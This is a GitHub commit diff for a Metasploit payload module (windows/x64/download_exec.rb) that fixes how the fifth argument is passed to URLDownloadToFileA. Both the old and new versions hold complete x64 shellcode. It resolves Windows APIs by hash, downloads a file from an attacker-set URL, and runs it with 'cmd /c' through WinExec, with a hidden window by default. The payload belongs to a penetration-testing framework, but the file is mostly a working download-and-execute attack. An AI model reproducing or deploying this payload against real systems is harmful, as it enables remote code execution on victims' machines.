Skip to content

Commit 0344591

Browse files
xHector1337xHector1337
authored
fix 5th arg for URLDownloadToFileA
1 parent a412070 commit 0344591

File tree

1 file changed

+68
-66
lines changed

1 file changed

+68
-66
lines changed

‎modules/payloads/singles/windows/x64/download_exec.rb

Lines changed: 68 additions & 66 deletions
Original file line numberDiff line numberDiff line change
@@ -4,126 +4,128 @@
44
##
55

66
module MetasploitModule
7-
include Msf::Payload::Single
8-
include Msf::Payload::Windows
9-
include Msf::Payload::Windows::BlockApi_x64
107

11-
def initialize(info = {})
12-
super(
13-
update_info(
14-
info,
15-
'Name' => 'Windows Download Execute',
16-
'Description' => 'Downloads and executes the file from the specified url.',
17-
'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>',
18-
'License' => MSF_LICENSE,
19-
'Platform' => 'win',
20-
'Arch' => ARCH_X64
21-
)
22-
)
8+
include Msf::Payload::Single
9+
include Msf::Payload::Windows
10+
include Msf::Payload::Windows::BlockApi_x64
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Windows Download Execute',
17+
'Description' => 'Downloads and executes the file from the specified url.',
18+
'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>',
19+
'License' => MSF_LICENSE,
20+
'Platform' => 'win',
21+
'Arch' => ARCH_X64
22+
)
23+
)
24+
25+
display_options = ['HIDE', 'SHOW']
2326

24-
display_options = %w[HIDE SHOW]
27+
register_options(
28+
[
29+
OptString.new('URL', [true, 'The url to download the file from.', 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg']),
30+
OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.jpg']),
31+
OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options])
32+
]
33+
)
34+
end
2535

26-
register_options(
27-
[
28-
OptString.new('URL', [true, 'The url to download the file from.', 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg']),
29-
OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.jpg']),
30-
OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options])
31-
]
32-
)
33-
end
36+
def generate(_opts={})
3437

35-
def generate(_opts = {})
36-
url = datastore['URL'] || 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg'
37-
file = datastore['FILEPATH'] || 'fox.jpg'
38-
display = datastore['DISPLAY'] || 'HIDE'
38+
url = (datastore['URL'] || 'https://i.pinimg.com/736x/dd/89/7b/dd897badebe41af82f7b0a7a64be3272.jpg')
39+
file = (datastore['FILEPATH'] || 'fox.jpg')
40+
display = (datastore['DISPLAY'] || 'HIDE')
3941

40-
payload = %^
42+
43+
payload = %^
4144
cld
42-
and rsp, -16
45+
and rsp, -16
4346
call main
4447
#{asm_block_api}
4548
4649
main:
47-
pop rbp
50+
pop rbp
4851
call LoadLibrary
4952
db "urlmon.dllK"
5053
; V, is this the land of do-as-you-please?
5154
5255
LoadLibrary:
5356
pop rcx ; rcx points to the dll name.
5457
xor byte [rcx+10], 'K' ; null terminator
55-
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
58+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','LoadLibraryA')}
5659
call rbp ; LoadLibraryA("urlmon.dll")
5760
; To live alone one must be an animal or a god, says Aristotle. There is yet a third case: one must be both--a philosopher.
58-
61+
5962
SetUrl:
6063
call SetFile
6164
db "#{url}A"
6265
; The Sound of Silence maybe a Careless Whisper?
63-
66+
6467
SetFile:
65-
pop rdx ; 2nd argument
68+
pop rdx ; 2nd argument
6669
xor byte [rdx+#{url.length}], 'A' ; null terminator
6770
call UrlDownloadToFile
6871
db "#{file}C"
6972
; Never compromise not even in the face of armageddon.
70-
73+
7174
UrlDownloadToFile:
7275
pop r8 ; 3rd argument
7376
xor byte [r8+#{file.length}], 'C' ; null terminator
7477
xor rcx,rcx ; 1st argument
7578
xor r9,r9 ; 4th argument
76-
push rcx ; 5th argument
77-
sub rsp, 8 ; stack alignment
78-
mov r10d, #{Rex::Text.block_api_hash('urlmon.dll', 'URLDownloadToFileA')}
79+
mov qword [rsp+0x30], rcx ; 5th argument
80+
mov r10d, #{Rex::Text.block_api_hash('urlmon.dll','URLDownloadToFileA')}
7981
call rbp
8082
; I can see the sun, but even if I cannot see the sun, I know that it exists. And to know that the sun is there - that is living.
81-
83+
8284
SetCommand:
8385
call Exec
8486
db "cmd /c #{file}F"
85-
87+
8688
Exec:
8789
pop rcx ; 1st argument
88-
xor byte [rcx+#{file.length + 7}], 'F' ; null terminator
89-
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')}
90+
xor byte [rcx+#{file.length + 7 }], 'F' ; null terminator
91+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','WinExec')}
9092
xor rdx, rdx ; 2nd argument
9193
^
9294

93-
if display == 'HIDE'
94-
hide = %(
95+
if display == 'HIDE'
96+
hide = %^
9597
call rbp
9698
; I am vengeance! I am the night! I am Batman!
97-
)
98-
payload << hide
99+
^
100+
payload << hide
99101

100-
elsif display == 'SHOW'
101-
show = %(
102+
elsif display == 'SHOW'
103+
show = %^
102104
inc rdx ; SW_NORMAL = 1
103105
call rbp
104106
; It's our only home. Our heaven and our hell. This is Outer Heaven.
105-
)
106-
payload << show
107-
end
107+
^
108+
payload << show
109+
end
108110

109-
if datastore['EXITFUNC'] == 'process'
110-
exit_asm = %(
111+
if datastore['EXITFUNC'] == 'process'
112+
exit_asm = %^
111113
xor rcx,rcx
112-
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
114+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','ExitProcess')}
113115
call rbp
114-
)
115-
payload << exit_asm
116-
117-
elsif datastore['EXITFUNC'] == 'thread'
118-
exit_asm = %(
116+
^
117+
payload << exit_asm
118+
119+
elsif datastore['EXITFUNC'] == 'thread'
120+
exit_asm = %^
119121
xor rcx,rcx
120-
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')}
122+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll','ExitThread')}
121123
call rbp
122124
; She walks in beauty, like the night...
123-
)
124-
payload << exit_asm
125-
end
125+
^
126+
payload << exit_asm
127+
end
126128

127-
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
128-
end
129+
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
130+
end
129131
end

0 commit comments

Comments
 (0)